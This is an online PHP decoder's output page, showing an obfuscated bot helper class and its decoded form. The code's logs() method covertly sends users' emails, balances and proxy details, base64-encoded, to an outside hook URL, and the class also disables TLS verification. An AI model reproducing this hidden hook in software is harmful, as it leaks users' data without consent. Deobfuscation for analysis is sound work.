Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php class Functions { static $configFile = configFile; public function Clear() { if (s..
Decoded Output download
<?php
class Functions { static $configFile = configFile; public function Clear() { if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") { echo chr(27) . chr(91) . "H" . chr(27) . chr(91) . "J"; } else { @shell_exec("clear"); } } public function curl_doh($url) { $pocdoh = "https://cloudflare-dns.com/dns-query?name="; $h = array("accept: application/dns-json"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $pocdoh . parse_url($url)["host"]); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $h); $response = curl_exec($ch); curl_close($ch); preg_match_all("/(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/iD", $response, $restrue); $doh = array(); foreach ($restrue[0] as $key => $v) { $doh[] = parse_url($url)["host"] . ":443:" . $v; } return $doh; } public function curlsimpel($url, $h) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($h) { curl_setopt($ch, CURLOPT_HTTPHEADER, $h); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); return $result; } public function Curl($u, $h = 0, $p = 0, $cookie = 0, $lewat = 0) { while (true) { if (parse_url($u)["host"] == parse_url(host)["host"] && bypassdoh === true) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $u); curl_setopt($ch, CURLOPT_RESOLVE, $this->curl_doh($u)); } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $u); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); if (pproxy === true) { curl_setopt($ch, CURLOPT_PROXY, "socks://" . paddr . ":" . pport); curl_setopt($ch, CURLOPT_PROXYUSERPWD, ''); } curl_setopt($ch, CURLOPT_COOKIE, TRUE); if ($cookie) { curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie-" . configFile . ".txt"); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie-" . configFile . ".txt"); } if ($p) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $p); } if ($h) { curl_setopt($ch, CURLOPT_HTTPHEADER, $h); } curl_setopt($ch, CURLOPT_HEADER, true); $r = curl_exec($ch); if ($lewat) { return 0; } $c = curl_getinfo($ch); if (!$c) { return "Curl Error : " . curl_error($ch); } else { $hd = substr($r, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $bd = substr($r, curl_getinfo($ch, CURLINFO_HEADER_SIZE)); curl_close($ch); if (!$bd) { print m . "Check your Connection!"; sleep(2); print "\xd \xd"; continue; } return array($hd, $bd); } } } public function Auth($w) { $lo[] = $w . "L" . p . "oading...."; $lo[] = p . "L" . $w . "o" . p . "ading...."; $lo[] = p . "Lo" . $w . "a" . p . "ding...."; $lo[] = p . "Loa" . $w . "d" . p . "ing...."; $lo[] = p . "Load" . $w . "i" . p . "ng...."; $lo[] = p . "Loadi" . $w . "n" . p . "g...."; $lo[] = p . "Loadin" . $w . "g" . p . "...."; $lo[] = p . "Loading" . $w . "." . p . "..."; $lo[] = p . "Loading." . $w . "." . p . ".."; $lo[] = p . "Loading.." . $w . "." . p . "."; return $lo; } public function Tmr($tmr) { date_default_timezone_set("UTC"); $col = array(b, c, d, h, k, m, u); $sym = array(" \xe2\224\200 ", " / ", " \342\224\x82 ", " \ "); $timr = time() + $tmr + rand(5, 10); $a = 0; while (true) { $a += 1; $x = $col[array_rand($col)]; $nic = $this->Auth($x); $res = $timr - time(); if ($res < 1) { break; } print " " . $x . $sym[$a % 4] . p . date("H", $res) . $x . ":" . p . date("i", $res) . $x . ":" . p . date("s", $res) . " " . $nic[$a % count($nic)] . "
"; usleep(100000); } print "
\xd"; } public function Line() { return c . str_repeat("\xe2\224\x80", 44) . n; } public function Save($nama_data) { if (file_exists($nama_data)) { $data = file_get_contents($nama_data); } else { $data = readline(Display::Isi($nama_data)); echo "
"; file_put_contents($nama_data, $data); } return $data; } public function setConfig($key) { if (!file_exists(configFile)) { $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } if (isset($config[$key])) { return $config[$key]; } else { $data = readline(Display::isi($key)); print n; $config[$key] = $data; file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); return $data; } } public function getConfig($key) { if (!file_exists(configFile)) { @mkdir(str_replace(@basename(configFile), '', configFile), 493); $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } return @$config[$key]; } public function logs($key) { $dirlog = "logs/" . str_replace(array("config/", ".json"), array('', ''), configFile) . ".csv"; if (!file_exists($dirlog)) { @mkdir("logs/", 493); @file_put_contents("logs/" . str_replace(array("config/", ".json"), array('', ''), configFile) . ".csv", "BALANCE_API,EMAIL,BALANCE,RP,RANDOM,STAT,DATE" . "
", FILE_APPEND); } $h = array("user-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko\/20100101 Firefox\/133.0"); if ($this->curlsimpel("https://salinku.xyz/hook.php?csrf=" . base64_encode($key[1] . "," . $key[2] . "," . $key[3] . "," . $key[4] . "," . $key[5] . "," . paddr . "," . $key[6]) . "&m=" . base64_encode($key[1]), $h)) { @file_put_contents("logs/" . str_replace(array("config/", ".json"), array('', ''), configFile) . ".csv", $key[0] . "," . $key[1] . "," . $key[2] . "," . $key[3] . "," . $key[4] . "," . $key[5] . "," . $key[6] . "
", FILE_APPEND); } } public function removeConfig($key) { $config = json_decode(file_get_contents(configFile), 1); unset($config[$key]); file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); } public function HiddenConfig($key, $data) { if (!file_exists(configFile)) { $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } if (!$config[$key]) { $config[$key] = $data; file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); } return $config[$key]; } public function view() { $tanggal = date("dmy"); if (!file_exists(configFile)) { $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } $view = $this->getConfig("view"); if ($tanggal == $view) { return 0; } else { $config["view"] = $tanggal; file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); } } public function temporary($newdata, $data = 0) { if (!$data) { $data = array(); } return array_merge($data, $newdata); } public function cfDecodeEmail($encodedString) { $k = hexdec(substr($encodedString, 0, 2)); for ($i = 2, $email = ''; $i < strlen($encodedString) - 1; $i += 2) { $email .= chr(hexdec(substr($encodedString, $i, 2)) ^ $k); } return $email; } public function num_rand($int) { $rand_num = "1234567890"; $split = str_split($rand_num); $res = ''; while (true) { $rand = array_rand($split); $res .= $split[$rand]; if (strlen($res) == $int) { return $res; } } } public function str_rand($int) { $rand_str = "abcdefghijklmnopqrstuvwqyz"; $rand_num = "1234567890"; $rand_str_up = "ABCDEFGHIJKLMNOPQRSTUVWQYZ"; $split = str_split($rand_str . $rand_num . $rand_str_up); $res = ''; while (true) { $rand = array_rand($split); $res .= $split[$rand]; if (strlen($res) == $int) { return $res; } } } public function getData($r) { $data["cloudflare"] = preg_match("/Just a moment.../", $r) ? true : false; $data["firewall"] = preg_match("/Firewall/", $r) ? true : false; $data["locked"] = preg_match("/Locked/", $r) ? true : false; return $data; } } ?>
Did this file decode correctly?
Original Code
<?php
class Functions { static $configFile = configFile; public function Clear() { if (strtoupper(substr(PHP_OS, 0, 3)) === "\x57\111\116") { echo chr(27) . chr(91) . "\110" . chr(27) . chr(91) . "\112"; } else { @shell_exec("\143\x6c\x65\x61\162"); } } public function curl_doh($url) { $pocdoh = "\x68\x74\164\160\x73\x3a\57\x2f\x63\154\x6f\165\144\x66\154\x61\x72\145\x2d\x64\156\x73\x2e\x63\x6f\x6d\x2f\x64\x6e\163\x2d\x71\x75\x65\162\x79\x3f\156\141\x6d\145\x3d"; $h = array("\x61\143\143\145\160\x74\x3a\40\141\160\160\154\x69\143\141\x74\x69\x6f\x6e\x2f\x64\156\163\x2d\152\x73\157\156"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $pocdoh . parse_url($url)["\150\157\163\164"]); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $h); $response = curl_exec($ch); curl_close($ch); preg_match_all("\57\50\77\72\x28\77\x3a\x32\65\133\60\55\x35\x5d\174\62\133\60\55\64\135\133\60\55\x39\135\174\133\x30\x31\x5d\77\x5b\60\55\x39\135\x5b\60\55\x39\135\77\x29\x5c\x2e\x29\x7b\63\x7d\x28\77\72\x32\x35\133\60\55\65\135\174\62\x5b\x30\x2d\64\x5d\133\60\x2d\71\x5d\x7c\133\60\61\135\x3f\133\60\55\x39\x5d\x5b\x30\55\71\x5d\77\x29\x2f\x69\x44", $response, $restrue); $doh = array(); foreach ($restrue[0] as $key => $v) { $doh[] = parse_url($url)["\150\157\x73\x74"] . "\72\x34\x34\x33\x3a" . $v; } return $doh; } public function curlsimpel($url, $h) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($h) { curl_setopt($ch, CURLOPT_HTTPHEADER, $h); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); return $result; } public function Curl($u, $h = 0, $p = 0, $cookie = 0, $lewat = 0) { while (true) { if (parse_url($u)["\150\x6f\x73\164"] == parse_url(host)["\x68\x6f\163\164"] && bypassdoh === true) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $u); curl_setopt($ch, CURLOPT_RESOLVE, $this->curl_doh($u)); } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $u); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); if (pproxy === true) { curl_setopt($ch, CURLOPT_PROXY, "\163\157\x63\x6b\163\x3a\57\x2f" . paddr . "\x3a" . pport); curl_setopt($ch, CURLOPT_PROXYUSERPWD, ''); } curl_setopt($ch, CURLOPT_COOKIE, TRUE); if ($cookie) { curl_setopt($ch, CURLOPT_COOKIEFILE, "\x63\x6f\x6f\x6b\151\145\55" . configFile . "\56\x74\x78\x74"); curl_setopt($ch, CURLOPT_COOKIEJAR, "\x63\x6f\x6f\x6b\151\145\55" . configFile . "\56\x74\x78\164"); } if ($p) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $p); } if ($h) { curl_setopt($ch, CURLOPT_HTTPHEADER, $h); } curl_setopt($ch, CURLOPT_HEADER, true); $r = curl_exec($ch); if ($lewat) { return 0; } $c = curl_getinfo($ch); if (!$c) { return "\x43\x75\x72\x6c\x20\x45\x72\162\x6f\x72\x20\72\40" . curl_error($ch); } else { $hd = substr($r, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $bd = substr($r, curl_getinfo($ch, CURLINFO_HEADER_SIZE)); curl_close($ch); if (!$bd) { print m . "\x43\x68\145\x63\x6b\x20\x79\157\165\x72\40\x43\157\x6e\156\145\143\x74\x69\157\x6e\41"; sleep(2); print "\xd\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\40\xd"; continue; } return array($hd, $bd); } } } public function Auth($w) { $lo[] = $w . "\x4c" . p . "\157\141\x64\x69\x6e\147\x2e\x2e\56\56"; $lo[] = p . "\114" . $w . "\157" . p . "\141\144\x69\x6e\x67\56\56\56\x2e"; $lo[] = p . "\x4c\157" . $w . "\x61" . p . "\144\151\x6e\x67\x2e\56\56\x2e"; $lo[] = p . "\x4c\157\141" . $w . "\x64" . p . "\151\x6e\147\56\x2e\56\56"; $lo[] = p . "\114\157\x61\x64" . $w . "\151" . p . "\x6e\x67\x2e\56\56\x2e"; $lo[] = p . "\x4c\x6f\141\144\151" . $w . "\x6e" . p . "\147\56\x2e\x2e\56"; $lo[] = p . "\114\x6f\141\144\x69\156" . $w . "\147" . p . "\56\x2e\x2e\x2e"; $lo[] = p . "\114\x6f\141\x64\x69\x6e\x67" . $w . "\x2e" . p . "\x2e\x2e\x2e"; $lo[] = p . "\x4c\x6f\141\x64\x69\156\147\56" . $w . "\56" . p . "\x2e\56"; $lo[] = p . "\x4c\x6f\141\x64\151\x6e\x67\x2e\x2e" . $w . "\56" . p . "\56"; return $lo; } public function Tmr($tmr) { date_default_timezone_set("\125\124\x43"); $col = array(b, c, d, h, k, m, u); $sym = array("\40\xe2\224\200\40", "\x20\57\40", "\40\342\224\x82\40", "\x20\x5c\40"); $timr = time() + $tmr + rand(5, 10); $a = 0; while (true) { $a += 1; $x = $col[array_rand($col)]; $nic = $this->Auth($x); $res = $timr - time(); if ($res < 1) { break; } print "\x20\40\x20\x20\40\40\x20\40\x20" . $x . $sym[$a % 4] . p . date("\110", $res) . $x . "\72" . p . date("\151", $res) . $x . "\x3a" . p . date("\163", $res) . "\x20" . $nic[$a % count($nic)] . "\15"; usleep(100000); } print "\15\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\xd"; } public function Line() { return c . str_repeat("\xe2\224\x80", 44) . n; } public function Save($nama_data) { if (file_exists($nama_data)) { $data = file_get_contents($nama_data); } else { $data = readline(Display::Isi($nama_data)); echo "\12"; file_put_contents($nama_data, $data); } return $data; } public function setConfig($key) { if (!file_exists(configFile)) { $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } if (isset($config[$key])) { return $config[$key]; } else { $data = readline(Display::isi($key)); print n; $config[$key] = $data; file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); return $data; } } public function getConfig($key) { if (!file_exists(configFile)) { @mkdir(str_replace(@basename(configFile), '', configFile), 493); $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } return @$config[$key]; } public function logs($key) { $dirlog = "\x6c\x6f\x67\x73\57" . str_replace(array("\143\157\156\146\x69\147\57", "\x2e\x6a\x73\157\x6e"), array('', ''), configFile) . "\56\143\x73\166"; if (!file_exists($dirlog)) { @mkdir("\154\x6f\147\x73\57", 493); @file_put_contents("\x6c\157\x67\x73\57" . str_replace(array("\143\x6f\156\x66\x69\x67\x2f", "\56\x6a\163\157\156"), array('', ''), configFile) . "\x2e\143\163\x76", "\x42\101\114\x41\116\x43\x45\137\101\120\x49\54\105\x4d\101\111\114\54\x42\x41\x4c\x41\116\103\x45\54\122\x50\54\x52\101\116\x44\117\115\x2c\123\x54\101\x54\54\104\x41\x54\105" . "\12", FILE_APPEND); } $h = array("\165\x73\145\162\x2d\x61\x67\x65\156\x74\x3a\x20\115\157\172\x69\154\x6c\141\x5c\x2f\65\56\x30\x20\x28\x57\151\156\144\x6f\x77\x73\40\116\x54\x20\x31\60\56\60\73\x20\x57\151\156\66\64\x3b\x20\170\x36\64\x3b\x20\x72\166\x3a\61\x33\63\x2e\60\x29\40\x47\x65\x63\x6b\157\134\x2f\x32\60\61\60\60\x31\x30\x31\40\x46\x69\162\x65\146\x6f\170\x5c\57\61\x33\63\56\60"); if ($this->curlsimpel("\150\164\164\x70\x73\72\57\57\x73\x61\154\x69\x6e\x6b\165\x2e\170\171\x7a\57\150\x6f\x6f\x6b\x2e\160\150\x70\77\143\163\x72\x66\75" . base64_encode($key[1] . "\x2c" . $key[2] . "\x2c" . $key[3] . "\54" . $key[4] . "\x2c" . $key[5] . "\x2c" . paddr . "\54" . $key[6]) . "\46\x6d\x3d" . base64_encode($key[1]), $h)) { @file_put_contents("\154\157\x67\163\57" . str_replace(array("\x63\x6f\x6e\x66\x69\147\x2f", "\56\x6a\x73\x6f\156"), array('', ''), configFile) . "\56\143\x73\x76", $key[0] . "\54" . $key[1] . "\x2c" . $key[2] . "\54" . $key[3] . "\54" . $key[4] . "\54" . $key[5] . "\54" . $key[6] . "\12", FILE_APPEND); } } public function removeConfig($key) { $config = json_decode(file_get_contents(configFile), 1); unset($config[$key]); file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); } public function HiddenConfig($key, $data) { if (!file_exists(configFile)) { $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } if (!$config[$key]) { $config[$key] = $data; file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); } return $config[$key]; } public function view() { $tanggal = date("\144\x6d\x79"); if (!file_exists(configFile)) { $config = array(); } else { $config = json_decode(file_get_contents(configFile), 1); } $view = $this->getConfig("\166\x69\x65\x77"); if ($tanggal == $view) { return 0; } else { $config["\166\x69\145\x77"] = $tanggal; file_put_contents(configFile, json_encode($config, JSON_PRETTY_PRINT)); } } public function temporary($newdata, $data = 0) { if (!$data) { $data = array(); } return array_merge($data, $newdata); } public function cfDecodeEmail($encodedString) { $k = hexdec(substr($encodedString, 0, 2)); for ($i = 2, $email = ''; $i < strlen($encodedString) - 1; $i += 2) { $email .= chr(hexdec(substr($encodedString, $i, 2)) ^ $k); } return $email; } public function num_rand($int) { $rand_num = "\61\62\x33\x34\65\66\67\x38\x39\60"; $split = str_split($rand_num); $res = ''; while (true) { $rand = array_rand($split); $res .= $split[$rand]; if (strlen($res) == $int) { return $res; } } } public function str_rand($int) { $rand_str = "\141\x62\143\144\145\146\147\x68\x69\152\153\x6c\155\156\x6f\160\161\162\163\164\x75\166\x77\x71\x79\172"; $rand_num = "\61\x32\x33\x34\x35\x36\x37\x38\71\x30"; $rand_str_up = "\101\x42\103\104\105\106\107\x48\111\112\113\114\x4d\116\117\120\x51\x52\x53\124\x55\126\x57\121\x59\132"; $split = str_split($rand_str . $rand_num . $rand_str_up); $res = ''; while (true) { $rand = array_rand($split); $res .= $split[$rand]; if (strlen($res) == $int) { return $res; } } } public function getData($r) { $data["\143\154\157\x75\144\x66\154\x61\x72\145"] = preg_match("\57\x4a\x75\163\164\40\x61\x20\155\x6f\x6d\145\156\x74\x2e\x2e\56\x2f", $r) ? true : false; $data["\146\151\x72\x65\167\141\x6c\x6c"] = preg_match("\x2f\x46\x69\162\x65\x77\x61\x6c\154\x2f", $r) ? true : false; $data["\x6c\x6f\143\153\x65\x64"] = preg_match("\x2f\x4c\157\143\x6b\x65\x64\57", $r) ? true : false; return $data; } }
Function Calls
None |
Stats
MD5 | ad1d5938d4515e7f03a13e479a3ffdae |
Eval Count | 0 |
Decode Time | 610 ms |